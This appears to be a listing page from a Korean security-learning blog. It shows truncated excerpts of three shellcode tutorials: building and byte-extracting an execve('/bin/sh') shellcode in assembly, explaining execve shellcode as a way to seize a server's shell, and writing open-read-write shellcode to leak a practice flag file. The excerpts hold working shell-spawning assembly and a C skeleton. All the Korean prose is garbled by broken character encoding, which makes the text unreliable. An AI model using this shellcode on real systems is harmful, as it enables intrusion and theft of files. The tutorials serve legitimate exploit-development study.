shellcode 3

[Shellcode] objdump์„ ์ด์šฉํ•œ byte code ์ถ”์ถœ

์˜ˆ์‹œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ (shellcode.asm)์˜ byte code๋ฅผ ์ถ”์ถœํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. shellcode.asm section .text global _start _start: xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80 1. nasm ์„ค์น˜ sudo apt-get install nasm 2. shellcode.o ์ƒ์„ฑ nasm -f elf shellcode.asm 3. shellcode.o ํŒŒ์ผ์„ ์–ด์…ˆ๋ธ”๋ฆฌ ์–ธ์–ด๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์ถœ๋ ฅ objdump -d shellcode.o 4. shellcode.bin ์ƒ์„ฑ objcopy --dump-section .t..

[Shellcode] execve

๋ชฉ์  execve ์…ธ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•˜๋ฉด ์ž„์˜์˜ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ์š”, ๋งŒ์•ฝ ๊ทธ๊ฒƒ์ด ์…ธ ํ”„๋กœ๊ทธ๋žจ์ด๋ผ๋ฉด, ์„œ๋ฒ„์˜ ์…ธ์„ ํš๋“ํ•œ ๊ฒƒ์ด๋ฏ€๋กœ, ์„œ๋ฒ„์˜ ์‹œ์Šคํ…œ์„ ์ œ์–ดํ•จ์œผ๋กœ์จ ์‹œ์Šคํ…œ ํ•ดํ‚น์„ ์„ฑ๊ณตํ•œ ๊ฒƒ์ด ๋ฉ๋‹ˆ๋‹ค. โ€ป ์…ธ(Shell): ์šด์˜์ฒด์ œ์— ๋ช…๋ น์„ ๋‚ด๋ฆฌ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ์‚ฌ์šฉ์ž์˜ ์ธํ„ฐํŽ˜์ด์Šค ๋ฐฉ๋ฒ• 1. execve ์…ธ์ฝ”๋“œ ์ž‘์„ฑ linux์˜ ๋‹ค์–‘ํ•œ ์…ธ ํ”„๋กœ๊ทธ๋žจ ์ค‘ ๊ธฐ๋ณธ์ธ /bin/sh๋ฅผ ์‹คํ–‰ํ•˜๋Š” execve ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. execve ์…ธ์ฝ”๋“œ๋Š” ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ (C์–ธ์–ด๋กœ ์ž‘์„ฑ๋จ) + ์…ธ์ฝ”๋“œ (์–ด์…ˆ๋ธ”๋ฆฌ) ์˜ ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค. ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ __asm__( ".global run_sh\n" // C์—์„œ run_sh์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก global๋กœ ์„ค์ • "run_sh:\n" // ์•„๋ž˜ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋Š” ์˜ˆ์‹œ์ด๋ฉฐ, ๊ฐ l..

[Shellcode] orw: open-read-write

๋ชฉ์  ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋˜๋Š” ์‹œ์Šคํ…œ์˜ ํŒŒ์ผ์„ ์œ ์ถœํ•ด ๋‚ด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ• ์•„๋ž˜๋Š” linux ํ™˜๊ฒฝ์—์„œ ์ง„ํ–‰ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. 0. ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋  ํŒŒ์ผ ์ž‘์„ฑ ์‹ค์Šต์„ ์œ„ํ•œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค. echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag 1. orw ์…ธ์ฝ”๋“œ ์ž‘์„ฑ “/tmp/flag” ํŒŒ์ผ์„ ์ฝ๋Š” orw ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. orw ์…ธ์ฝ”๋“œ๋Š” ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ (C์–ธ์–ด๋กœ ์ž‘์„ฑ๋จ) + ์…ธ์ฝ”๋“œ (์–ด์…ˆ๋ธ”๋ฆฌ) ์˜ ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค. ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ __asm__( ".global run_sh\n" // C์—์„œ run_sh์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก global๋กœ ์„ค์ • "run_sh:\n" // ์•„๋ž˜ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋Š” ์˜ˆ์‹œ์ด๋ฉฐ, ๊ฐ line์€ \n์œผ๋กœ ๊ตฌ๋ถ„๋˜์–ด์•ผ ํ•จ "xor rdi, rdi\n..